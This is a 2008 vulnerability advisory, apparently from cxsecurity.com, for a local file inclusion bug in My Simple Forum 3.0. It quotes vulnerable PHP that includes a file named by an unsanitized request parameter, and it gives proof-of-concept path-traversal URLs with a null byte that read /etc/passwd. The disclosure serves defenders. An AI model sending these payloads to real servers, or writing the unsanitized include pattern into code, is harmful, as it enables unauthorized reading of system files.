My Simple Forum 3.0 (index.php action) Local File Inclusion Vulnerability

2008.12.19
Credit: cOndemned
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

/* $Id: mysimpleforum-3.0-lfi.txt,v 0.1 2008/12/04 23:03:00 cOndemned Exp $ My Simple Forum 3.0 (index.php action) Local File Inclusion Vulnerability Bug discovered by cOndemned Script download: http://drennansoft.com/index.php?action=download&id=1 Greetz: ZaBeaTy, str0ke, d2, TBH, Avantura */ Source of index.php: 49. if(file_exists('site/'.$_GET['action'].'.php')) { 50. include('site/'.$_GET['action'].'.php'); 51. } else { local file inclusion on line 50 Proof of concept: http://[host]/[my_simple_forum_path]/index.php?action=../../../../../../../etc/passwd%00 http://[host]/[my_simple_forum_path]/index.php?action=../../../../[localfile]%00

References:

http://osvdb.org/50433


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top